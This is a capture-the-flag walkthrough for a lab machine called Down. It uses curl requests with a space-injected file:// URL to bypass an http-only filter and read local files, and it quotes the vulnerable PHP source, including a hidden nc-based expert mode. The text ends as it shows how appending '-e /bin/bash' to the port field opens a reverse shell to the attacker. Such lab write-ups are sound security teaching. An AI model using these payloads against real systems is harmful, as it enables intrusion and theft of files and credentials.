Executive Summary
Down is an easy Linux machine running a simple "Is it down or just me?" web checker. The site uses curl server-side to test URLs - making it a classic SSRF target. The protocol filter (http:// or https:// only) can be bypassed by injecting a space between the allowed prefix and a file:// URI, allowing arbitrary local file reads. Reading index.php reveals hidden source code including an undocumented expertmode=tcp feature that runs nc with unsanitized input. Since the IP passes FILTER_VALIDATE_IP but the port does not strip extra arguments, appending -e /bin/bash to the port field gives a reverse shell as www-data. In the web root we find a user flag. Enumerating the filesystem reveals a pswm password manager vault in aleks's home directory. We crack it offline using a public decryptor tool and rockyou.txt, recovering aleks's SSH password. Aleks has full sudo rights, so sudo su trivially gives root.
Table of Contents
- Reconnaissance
- Web Enumeration
- SSRF - File Read via Protocol Bypass
- Source Code Disclosure
- Initial Access - Expert Mode Command Injection
- User Flag
- Privilege Escalation - pswm Password Vault
- Root Flag
- Attack Chain Summary
- Key Vulnerabilities
1. Reconnaissance
root@kali# nmap -A -Pn <TARGET_IP> -oA nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.11
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Is it down or just me?
OS: Linux 4.15 - 5.19
Only two ports open - SSH and HTTP. No TLS, no subdomains visible from nmap. We focus on the web application.
2. Web Enumeration
Browsing to http://<TARGET_IP>/ shows a simple URL checker: "Is that website down, or is it just you?" - a form that takes a URL and pings it server-side.
We first try pointing the form at a Python HTTP server to see if there's any callback, and while we do get a hit, we can't see what files are being requested or saved — just that something connected. We also can't access any uploaded/saved files from the outside, so a Python server alone doesn't tell us much about the backend behaviour.
We switch to Netcat to catch the raw request and see exactly what the server sends:
nc -lnvp 4444
Submitting http://<YOUR_IP>:4444 shows:
connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET_IP>] 49420
GET / HTTP/1.1
Host: <YOUR_IP>:4444
User-Agent: curl/7.81.0
Accept: */*
This immediately tells us the backend is using curl to fetch our URL — the User-Agent gives it away. That's a classic SSRF setup and also hints that we might be able to pass extra arguments to curl if input isn't sanitised properly.
Directory and path fuzzing (ffuf, gobuster) return nothing interesting beyond index.php. Trying to access the target's own localhost or internal addresses times out. We pivot to abusing the curl SSRF directly.
3. SSRF - File Read via Protocol Bypass
The form validates that URLs start with http:// or https://. Testing file:///etc/passwd directly returns:
Only protocols http or https allowed.
We try a quirk: entering http:// file:///etc/passwd (with a space between http:// and file://) in the browser. This doesn't throw an error - but it also shows nothing useful in the page output. Suspicious enough to investigate further.
We try the same thing via curl to see the raw response:
curl http://<TARGET_IP>/index.php -d 'url=http://+file:///etc/passwd'
+in a POST body decodes to a space — equivalent to%20.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
... [snipped]
aleks:x:1000:1000:Aleks:/home/aleks:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
We have arbitrary local file read as www-data. The filter is bypassed — the server accepted http:// file:///etc/passwd without complaint and passed it straight to curl, which processed the file:// part and read the local file.
Notable: one non-system user - aleks - with a home directory at /home/aleks.
4. Source Code Disclosure
Since we can read local files, we read the web application's own source code to understand exactly what the server is doing:
curl http://<TARGET_IP>/index.php -d 'url=http://+file:///var/www/html/index.php'
The response dumps the full index.php source (HTML-entity-encoded inside the page output). The key parts:
// URL check mode — the main form
} elseif (isset($_POST['url'])) {
$url = trim($_POST['url']);
if ( preg_match('|^https?://|', $url) ) {
$rc = 255; $output = '';
$ec = escapeshellcmd("/usr/bin/curl -s $url");
exec($ec . " 2>&1", $output, $rc);
...
} else {
echo '<font color=red size=+1>Only protocols http or https allowed.</font>';
}
}
This explains the bypass: preg_match('|^https?://|', $url) only checks that the string starts with http://. It doesn't validate anything that comes after. So http:// file:///etc/passwd passes the check, then escapeshellcmd is called on the whole string - but escapeshellcmd doesn't strip spaces or extra arguments, it only escapes shell metacharacters like ;, |, &. The result is that curl receives two separate arguments: the useless http:// and the real file:///etc/passwd, and happily reads the file.
The source also reveals something much more interesting - a hidden expert mode that's never linked anywhere on the site:
// Hidden expert mode - only active when ?expertmode=tcp is in the query string
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
echo '<h1>Is the port refused, or is it just you?</h1>
<form ... action="index.php?expertmode=tcp" method="POST">
<input type="text" name="ip" ...>
<input type="number" name="port" ...>
</form>';
}
// Expert mode handler
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp'
&& isset($_POST['ip']) && isset($_POST['port']) ) {
$ip = trim($_POST['ip']);
$valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
$port = trim($_POST['port']);
$port_int = intval($port);
$valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
if ( $valid_ip && $valid_port ) {
$ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
exec($ec . " 2>&1", $output, $rc);
}
}
The expert mode takes an IP and port, validates them, then runs nc -vz <ip> <port> to check if a port is open. And there's a bug right in the validation logic — the port is validated using intval($port) but the raw original string $port is what gets passed to escapeshellcmd. That means anything appended after the integer - like -e /bin/bash — gets carried through unvalidated.
5. Initial Access - Expert Mode Command Injection
The vulnerability
escapeshellcmd is the wrong tool here. It escapes shell metacharacters like ;, |, &, and backticks — but it leaves spaces and additional arguments completely intact. So passing 4444 -e /bin/bash as the port value results in:
/usr/bin/nc -vz <YOUR_IP> 4444 -e /bin/bash